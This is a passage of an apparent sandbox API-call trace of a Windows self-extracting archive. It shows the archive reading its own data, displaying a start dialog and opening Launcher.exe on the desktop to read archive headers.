0x21ef0 [0037.776] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x38b60c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x38b60c*=0) returned 0x21ef0 [0037.776] ReadFile (in: hFile=0xe4, lpBuffer=0x38b620, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x38b5d8, lpOverlapped=0x0 | out: lpBuffer=0x38b620*, lpNumberOfBytesRead=0x38b5d8*=0x2000, lpOverlapped=0x0) returned 1 [0037.776] SetFilePointer (in: hFile=0xe4, lDistanceToMove=147168, lpDistanceToMoveHigh=0x38b5ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x38b5ec*=0) returned 0x23ee0 [0037.777] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x38b60c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x38b60c*=0) returned 0x23ee0 [0037.777] ReadFile (in: hFile=0xe4, lpBuffer=0x38b620, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x38b5d8, lpOverlapped=0x0 | out: lpBuffer=0x38b620*, lpNumberOfBytesRead=0x38b5d8*=0x2000, lpOverlapped=0x0) returned 1 [0037.777] SetFilePointer (in: hFile=0xe4, lDistanceToMove=155344, lpDistanceToMoveHigh=0x38b5ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x38b5ec*=0) returned 0x25ed0 [0037.777] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x38b60c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x38b60c*=0) returned 0x25ed0 [0037.777] ReadFile (in: hFile=0xe4, lpBuffer=0x38b620, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x38b5d8, lpOverlapped=0x0 | out: lpBuffer=0x38b620*, lpNumberOfBytesRead=0x38b5d8*=0x2000, lpOverlapped=0x0) returned 1 [0037.777] SetFilePointer (in: hFile=0xe4, lDistanceToMove=163520, lpDistanceToMoveHigh=0x38b5ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x38b5ec*=0) returned 0x27ec0 [0037.777] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x38b60c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x38b60c*=0) returned 0x27ec0 [0037.777] ReadFile (in: hFile=0xe4, lpBuffer=0x38b620, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x38b5d8, lpOverlapped=0x0 | out: lpBuffer=0x38b620*, lpNumberOfBytesRead=0x38b5d8*=0x2000, lpOverlapped=0x0) returned 1 [0037.777] SetFilePointer (in: hFile=0xe4, lDistanceToMove=171696, lpDistanceToMoveHigh=0x38b5ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x38b5ec*=0) returned 0x29eb0 [0037.777] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x38b60c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x38b60c*=0) returned 0x29eb0 [0037.777] ReadFile (in: hFile=0xe4, lpBuffer=0x38b620, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x38b5d8, lpOverlapped=0x0 | out: lpBuffer=0x38b620*, lpNumberOfBytesRead=0x38b5d8*=0x2000, lpOverlapped=0x0) returned 1 [0037.777] SetFilePointer (in: hFile=0xe4, lDistanceToMove=179872, lpDistanceToMoveHigh=0x38b5ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x38b5ec*=0) returned 0x2bea0 [0037.778] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x38b60c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x38b60c*=0) returned 0x2bea0 [0037.778] ReadFile (in: hFile=0xe4, lpBuffer=0x38b620, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x38b5d8, lpOverlapped=0x0 | out: lpBuffer=0x38b620*, lpNumberOfBytesRead=0x38b5d8*=0x2000, lpOverlapped=0x0) returned 1 [0037.778] SetFilePointer (in: hFile=0xe4, lDistanceToMove=188048, lpDistanceToMoveHigh=0x38b5ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x38b5ec*=0) returned 0x2de90 [0037.778] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x38b60c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x38b60c*=0) returned 0x2de90 [0037.778] ReadFile (in: hFile=0xe4, lpBuffer=0x38b620, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x38b5d8, lpOverlapped=0x0 | out: lpBuffer=0x38b620*, lpNumberOfBytesRead=0x38b5d8*=0x2000, lpOverlapped=0x0) returned 1 [0037.778] SetFilePointer (in: hFile=0xe4, lDistanceToMove=196224, lpDistanceToMoveHigh=0x38b5ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x38b5ec*=0) returned 0x2fe80 [0037.778] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x38b60c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x38b60c*=0) returned 0x2fe80 [0037.778] ReadFile (in: hFile=0xe4, lpBuffer=0x38b620, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x38b5d8, lpOverlapped=0x0 | out: lpBuffer=0x38b620*, lpNumberOfBytesRead=0x38b5d8*=0x2000, lpOverlapped=0x0) returned 1 [0037.778] SetFilePointer (in: hFile=0xe4, lDistanceToMove=204400, lpDistanceToMoveHigh=0x38b5ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x38b5ec*=0) returned 0x31e70 [0037.778] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x38b60c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x38b60c*=0) returned 0x31e70 [0037.778] ReadFile (in: hFile=0xe4, lpBuffer=0x38b620, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x38b5d8, lpOverlapped=0x0 | out: lpBuffer=0x38b620*, lpNumberOfBytesRead=0x38b5d8*=0x2000, lpOverlapped=0x0) returned 1 [0037.778] SetFilePointer (in: hFile=0xe4, lDistanceToMove=212576, lpDistanceToMoveHigh=0x38b5ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x38b5ec*=0) returned 0x33e60 [0037.779] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x38b60c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x38b60c*=0) returned 0x33e60 [0037.779] ReadFile (in: hFile=0xe4, lpBuffer=0x38b620, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x38b5d8, lpOverlapped=0x0 | out: lpBuffer=0x38b620*, lpNumberOfBytesRead=0x38b5d8*=0x2000, lpOverlapped=0x0) returned 1 [0037.779] SetFilePointer (in: hFile=0xe4, lDistanceToMove=220752, lpDistanceToMoveHigh=0x38b5ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x38b5ec*=0) returned 0x35e50 [0037.779] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x38b60c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x38b60c*=0) returned 0x35e50 [0037.779] ReadFile (in: hFile=0xe4, lpBuffer=0x38b620, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x38b5d8, lpOverlapped=0x0 | out: lpBuffer=0x38b620*, lpNumberOfBytesRead=0x38b5d8*=0x2000, lpOverlapped=0x0) returned 1 [0037.779] SetFilePointer (in: hFile=0xe4, lDistanceToMove=228928, lpDistanceToMoveHigh=0x38b5ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x38b5ec*=0) returned 0x37e40 [0037.779] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x38b60c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x38b60c*=0) returned 0x37e40 [0037.779] ReadFile (in: hFile=0xe4, lpBuffer=0x38b620, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x38b5d8, lpOverlapped=0x0 | out: lpBuffer=0x38b620*, lpNumberOfBytesRead=0x38b5d8*=0x2000, lpOverlapped=0x0) returned 1 [0037.779] SetFilePointer (in: hFile=0xe4, lDistanceToMove=237104, lpDistanceToMoveHigh=0x38b5ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x38b5ec*=0) returned 0x39e30 [0037.779] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x38b60c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x38b60c*=0) returned 0x39e30 [0037.779] ReadFile (in: hFile=0xe4, lpBuffer=0x38b620, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x38b5d8, lpOverlapped=0x0 | out: lpBuffer=0x38b620*, lpNumberOfBytesRead=0x38b5d8*=0x2000, lpOverlapped=0x0) returned 1 [0037.780] SetFilePointer (in: hFile=0xe4, lDistanceToMove=245280, lpDistanceToMoveHigh=0x38b5ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x38b5ec*=0) returned 0x3be20 [0037.780] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x38b60c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x38b60c*=0) returned 0x3be20 [0037.780] ReadFile (in: hFile=0xe4, lpBuffer=0x38b620, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x38b5d8, lpOverlapped=0x0 | out: lpBuffer=0x38b620*, lpNumberOfBytesRead=0x38b5d8*=0x2000, lpOverlapped=0x0) returned 1 [0037.780] SetFilePointer (in: hFile=0xe4, lDistanceToMove=253456, lpDistanceToMoveHigh=0x38b5ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x38b5ec*=0) returned 0x3de10 [0037.780] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x38b60c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x38b60c*=0) returned 0x3de10 [0037.780] ReadFile (in: hFile=0xe4, lpBuffer=0x38b620, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x38b5d8, lpOverlapped=0x0 | out: lpBuffer=0x38b620*, lpNumberOfBytesRead=0x38b5d8*=0x2000, lpOverlapped=0x0) returned 1 [0037.780] SetFilePointer (in: hFile=0xe4, lDistanceToMove=261632, lpDistanceToMoveHigh=0x38b5ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x38b5ec*=0) returned 0x3fe00 [0037.780] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x38b60c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x38b60c*=0) returned 0x3fe00 [0037.780] ReadFile (in: hFile=0xe4, lpBuffer=0x38b620, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x38b5d8, lpOverlapped=0x0 | out: lpBuffer=0x38b620*, lpNumberOfBytesRead=0x38b5d8*=0x2000, lpOverlapped=0x0) returned 1 [0037.780] SetFilePointer (in: hFile=0xe4, lDistanceToMove=269808, lpDistanceToMoveHigh=0x38b5ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x38b5ec*=0) returned 0x41df0 [0037.780] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x38b60c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x38b60c*=0) returned 0x41df0 [0037.780] ReadFile (in: hFile=0xe4, lpBuffer=0x38b620, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x38b5d8, lpOverlapped=0x0 | out: lpBuffer=0x38b620*, lpNumberOfBytesRead=0x38b5d8*=0x2000, lpOverlapped=0x0) returned 1 [0037.781] SetFilePointer (in: hFile=0xe4, lDistanceToMove=277984, lpDistanceToMoveHigh=0x38b5ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x38b5ec*=0) returned 0x43de0 [0037.781] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x38b60c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x38b60c*=0) returned 0x43de0 [0037.781] ReadFile (in: hFile=0xe4, lpBuffer=0x38b620, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x38b5d8, lpOverlapped=0x0 | out: lpBuffer=0x38b620*, lpNumberOfBytesRead=0x38b5d8*=0x2000, lpOverlapped=0x0) returned 1 [0037.781] SetFilePointer (in: hFile=0xe4, lDistanceToMove=286160, lpDistanceToMoveHigh=0x38b5ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x38b5ec*=0) returned 0x45dd0 [0037.781] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x38b60c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x38b60c*=0) returned 0x45dd0 [0037.781] ReadFile (in: hFile=0xe4, lpBuffer=0x38b620, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x38b5d8, lpOverlapped=0x0 | out: lpBuffer=0x38b620*, lpNumberOfBytesRead=0x38b5d8*=0x2000, lpOverlapped=0x0) returned 1 [0037.781] CloseHandle (hObject=0xe4) returned 1 [0037.781] GetModuleHandleW (lpModuleName=0x0) returned 0x870000 [0037.781] FindResourceW (hModule=0x870000, lpName="RTL", lpType=0x5) returned 0x0 [0037.781] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc) returned 0x5a9208 [0037.782] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc) returned 0x5a9238 [0037.782] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x8d0ce4 | out: lpflOldProtect=0x8d0ce4*=0x4) returned 1 [0037.782] GetProcAddress (hModule=0x77000000, lpProcName="DialogBoxParamW") returned 0x7703cfca [0037.782] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x38f8bc | out: lpflOldProtect=0x38f8bc*=0x4) returned 1 [0037.782] DialogBoxParamW (hInstance=0x870000, lpTemplateName="STARTDLG", hWndParent=0x0, lpDialogFunc=0x88aee0, dwInitParam=0x0) returned 0x1 [0037.858] GetLastError () returned 0x0 [0037.858] SetLastError (dwErrCode=0x0) [0037.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="$STARTDLG:", cchWideChar=-1, lpMultiByteStr=0x37cfec, cbMultiByte=80, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="$STARTDLG:", lpUsedDefaultChar=0x0) returned 11 [0037.859] GetLastError () returned 0x0 [0037.859] SetLastError (dwErrCode=0x0) [0037.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="$STARTDLG:SIZE", cchWideChar=-1, lpMultiByteStr=0x37cb10, cbMultiByte=80, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="$STARTDLG:SIZE", lpUsedDefaultChar=0x0) returned 15 [0037.859] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x8d0ce4 | out: lpflOldProtect=0x8d0ce4*=0x4) returned 1 [0037.859] GetProcAddress (hModule=0x77000000, lpProcName="GetWindowRect") returned 0x77017f34 [0037.859] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x37cf18 | out: lpflOldProtect=0x37cf18*=0x4) returned 1 [0037.859] GetWindowRect (in: hWnd=0x302a6, lpRect=0x37cfb8 | out: lpRect=0x37cfb8) returned 1 [0037.859] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x8d0ce4 | out: lpflOldProtect=0x8d0ce4*=0x4) returned 1 [0037.860] GetProcAddress (hModule=0x77000000, lpProcName="GetClientRect") returned 0x77020c62 [0037.860] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x37cf18 | out: lpflOldProtect=0x37cf18*=0x4) returned 1 [0037.860] GetClientRect (in: hWnd=0x302a6, lpRect=0x37cfdc | out: lpRect=0x37cfdc) returned 1 [0037.860] GetLastError () returned 0x0 [0037.860] SetLastError (dwErrCode=0x0) [0037.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="$STARTDLG:CAPTION", cchWideChar=-1, lpMultiByteStr=0x37cf24, cbMultiByte=80, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="$STARTDLG:CAPTION", lpUsedDefaultChar=0x0) returned 18 [0037.860] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x8d0ce4 | out: lpflOldProtect=0x8d0ce4*=0x4) returned 1 [0037.860] GetProcAddress (hModule=0x77000000, lpProcName="GetSystemMetrics") returned 0x77017d2f [0037.860] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x37cf1c | out: lpflOldProtect=0x37cf1c*=0x4) returned 1 [0037.861] GetSystemMetrics (nIndex=8) returned 3 [0037.861] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x8d0ce4 | out: lpflOldProtect=0x8d0ce4*=0x4) returned 1 [0037.861] GetProcAddress (hModule=0x77000000, lpProcName="GetWindow") returned 0x7701926e [0037.861] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x37cf18 | out: lpflOldProtect=0x37cf18*=0x4) returned 1 [0037.861] GetWindow (hWnd=0x302a6, uCmd=0x5) returned 0x2032a [0037.861] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x8d0ce4 | out: lpflOldProtect=0x8d0ce4*=0x4) returned 1 [0037.862] GetProcAddress (hModule=0x77000000, lpProcName="SendMessageW") returned 0x77019679 [0037.862] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x37d894 | out: lpflOldProtect=0x37d894*=0x4) returned 1 [0037.862] SendMessageW (hWnd=0x302a6, Msg=0x80, wParam=0x1, lParam=0x502c5) returned 0x0 [0037.881] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x8d0ce4 | out: lpflOldProtect=0x8d0ce4*=0x4) returned 1 [0037.881] GetProcAddress (hModule=0x77000000, lpProcName="SendDlgItemMessageW") returned 0x7703d0f5 [0037.881] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x37d890 | out: lpflOldProtect=0x37d890*=0x4) returned 1 [0037.881] SendDlgItemMessageW (hDlg=0x302a6, nIDDlgItem=108, Msg=0x172, wParam=0x0, lParam=0x4050a2c) returned 0x0 [0037.897] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x8d0ce4 | out: lpflOldProtect=0x8d0ce4*=0x4) returned 1 [0037.897] GetProcAddress (hModule=0x77000000, lpProcName="GetDlgItem") returned 0x7703f1ba [0037.897] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x37d89c | out: lpflOldProtect=0x37d89c*=0x4) returned 1 [0037.897] GetDlgItem (hDlg=0x302a6, nIDDlgItem=104) returned 0x2031a [0037.897] SendMessageW (hWnd=0x2031a, Msg=0x435, wParam=0x0, lParam=0x400000) returned 0x0 [0037.897] GetCurrentDirectoryW (in: nBufferLength=0x800, lpBuffer=0x38e45c | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop") returned 0x1a [0037.897] GetDlgItem (hDlg=0x302a6, nIDDlgItem=102) returned 0x5005c [0037.897] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x8d0ce4 | out: lpflOldProtect=0x8d0ce4*=0x4) returned 1 [0037.898] GetProcAddress (hModule=0x77000000, lpProcName="SetWindowTextW") returned 0x770220ec [0037.898] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x37d89c | out: lpflOldProtect=0x37d89c*=0x4) returned 1 [0037.898] SetWindowTextW (hWnd=0x5005c, lpString="C:\\Users\\kEecfMwgj\\Desktop") returned 1 [0037.898] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x8d0ce4 | out: lpflOldProtect=0x8d0ce4*=0x4) returned 1 [0037.899] GetProcAddress (hModule=0x77000000, lpProcName="GetClassNameW") returned 0x770182a9 [0037.899] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x37d7e8 | out: lpflOldProtect=0x37d7e8*=0x4) returned 1 [0037.899] GetClassNameW (in: hWnd=0x5005c, lpClassName=0x37d864, nMaxCount=80 | out: lpClassName="ComboBox") returned 8 [0037.899] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="ComboBox", cchCount1=-1, lpString2="EDIT", cchCount2=-1) returned 1 [0037.899] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x8d0ce4 | out: lpflOldProtect=0x8d0ce4*=0x4) returned 1 [0037.899] GetProcAddress (hModule=0x77000000, lpProcName="FindWindowExW") returned 0x7703f588 [0037.899] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x37d7e0 | out: lpflOldProtect=0x37d7e0*=0x4) returned 1 [0037.900] FindWindowExW (hWndParent=0x5005c, hWndChildAfter=0x0, lpszClass="EDIT", lpszWindow=0x0) returned 0x20326 [0037.900] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x8d0ce4 | out: lpflOldProtect=0x8d0ce4*=0x4) returned 1 [0037.900] LoadLibraryExA (lpLibFileName="SHLWAPI.dll", hFile=0x0, dwFlags=0x0) returned 0x75bd0000 [0037.900] GetProcAddress (hModule=0x75bd0000, lpProcName="SHAutoComplete") returned 0x75bf9353 [0037.900] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x37d7ec | out: lpflOldProtect=0x37d7ec*=0x4) returned 1 [0037.901] SHAutoComplete (hwndEdit=0x20326, dwFlags=0x10) returned 0x0 [0038.011] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10c0) returned 0x5c3b10 [0038.011] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10c0) returned 0x5c4bd8 [0038.011] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x82f0) returned 0x5c5ca0 [0038.012] GetCurrentProcess () returned 0xffffffff [0038.012] GetProcessAffinityMask (in: hProcess=0xffffffff, lpProcessAffinityMask=0x375b68, lpSystemAffinityMask=0x375b64 | out: lpProcessAffinityMask=0x375b68, lpSystemAffinityMask=0x375b64) returned 1 [0038.012] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Launcher.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\launcher.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x144 [0038.012] ReadFile (in: hFile=0x144, lpBuffer=0x377dcc, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x375b30, lpOverlapped=0x0 | out: lpBuffer=0x377dcc*, lpNumberOfBytesRead=0x375b30*=0x7, lpOverlapped=0x0) returned 1 [0038.013] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x200000) returned 0x2e20020 [0038.014] SetFilePointer (in: hFile=0x144, lDistanceToMove=0, lpDistanceToMoveHigh=0x375b64*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x375b64*=0) returned 0x7 [0038.014] ReadFile (in: hFile=0x144, lpBuffer=0x2e20020, nNumberOfBytesToRead=0x1ffff0, lpNumberOfBytesRead=0x375b30, lpOverlapped=0x0 | out: lpBuffer=0x2e20020*, lpNumberOfBytesRead=0x375b30*=0x1176e6, lpOverlapped=0x0) returned 1 [0038.059] SetFilePointer (in: hFile=0x144, lDistanceToMove=288768, lpDistanceToMoveHigh=0x375b44*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x375b44*=0) returned 0x46800 [0038.059] ReadFile (in: hFile=0x144, lpBuffer=0x377dcc, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x375b30, lpOverlapped=0x0 | out: lpBuffer=0x377dcc*, lpNumberOfBytesRead=0x375b30*=0x7, lpOverlapped=0x0) returned 1 [0038.079] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x2e20020 | out: hHeap=0x590000) returned 1 [0038.127] ReadFile (in: hFile=0x144, lpBuffer=0x377dd3, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x375b30, lpOverlapped=0x0 | out: lpBuffer=0x377dd3*, lpNumberOfBytesRead=0x375b30*=0x1, lpOverlapped=0x0) returned 1 [0038.127] SetFilePointer (in: hFile=0x144, lDistanceToMove=0, lpDistanceToMoveHigh=0x375b58*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x375b58*=0) returned 0x46808 [0038.128] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x20) returned 0x5bba50 [0038.128] ReadFile (in: hFile=0x144, lpBuffer=0x5bba50, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x373a18, lpOverlapped=0x0 | out: lpBuffer=0x5bba50*, lpNumberOfBytesRead=0x373a18*=0x7, lpOverlapped=0x0) returned 1 [0038.128] ReadFile (in: hFile=0x144, lpBuffer=0x5bba57, nNumberOfBytesToRead=0xa, lpNumberOfBytesRead=0x373a18, lpOverlapped=0x0 | out: lpBuffer=0x5bba57*, lpNumberOfBytesRead=0x373a18*=0xa, lpOverlapped=0x0) returned 1 [0038.128] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5bba50 | out: hHeap=0x590000) returned 1 [0038.128] SetFilePointer (in: hFile=0x144, lDistanceToMove=288793, lpDistanceToMoveHigh=0x375b38*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x375b38*=0) returned 0x46819 [0038.128] SetFilePointer (in: hFile=0x144, lDistanceToMove=0, lpDistanceToMoveHigh=0x375b64*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x375b64*=0) returned 0x46819 [0038.128] SetFilePointer (in: hFile=0x144, lDistanceToMove=0, lpDistanceToMoveHigh=0x375b58*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x375b58*=0) returned 0x46819 [0038.129] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x20) returned 0x5bba50 [0038.129] ReadFile (in: hFile=0x144, lpBuffer=0x5bba50, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x373a18, lpOverlapped=0x0 | out: lpBuffer=0x5bba50*, lpNumberOfBytesRead=0x373a18*=0x7, lpOverlapped=0x0) returned 1 [0038.129] ReadFile (in: hFile=0x144, lpBuffer=0x5bba57, nNumberOfBytesToRead=0x11, lpNumberOfBytesRead=0x373a18, lpOverlapped=0x0 | out: lpBuffer=0x5bba57*, lpNumberOfBytesRead=0x373a18*=0x11, lpOverlapped=0x0) returned 1 [0038.129] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5bba50 | out: hHeap=0x590000) returned 1 [0038.129] SetFilePointer (in: hFile=0x144, lDistanceToMove=288899, lpDistanceToMoveHigh=0x375b38*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x375b38*=0) returned 0x46883 [0038.129] SetFilePointer (in: hFile=0x144, lDistanceToMove=0, lpDistanceToMoveHigh=0x375b58*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x375b58*=0) returned 0x46883 [0038.129] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x20) returned 0x5bba50 [0038.129] ReadFile (in: hFile=0x144, lpBuffer=0x5bba50, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x373a18, lpOverlapped=0x0 | out: lpBuffer=0x5bba50*, lpNumberOfBytesRead=0x373a18*=0x7, lpOverlapped=0x0) returned 1 [0038.129] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5bba50, Size=0x48) returned 0x5cdf98 [0038.129] ReadFile (in: hFile=0x144, lpBuffer=0x5cdf9f, nNumberOfBytesToRead=0x2a, lpNumberOfBytesRead=0x373a18, lpOverlapped=0x0 | out: lpBuffer=0x5cdf9f*, lpNumberOfBytesRead=0x373a18*=0x2a, lpOverlapped=0x0) returned 1 [0038.129] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5cdf98 | out: hHeap=0x590000) returned 1 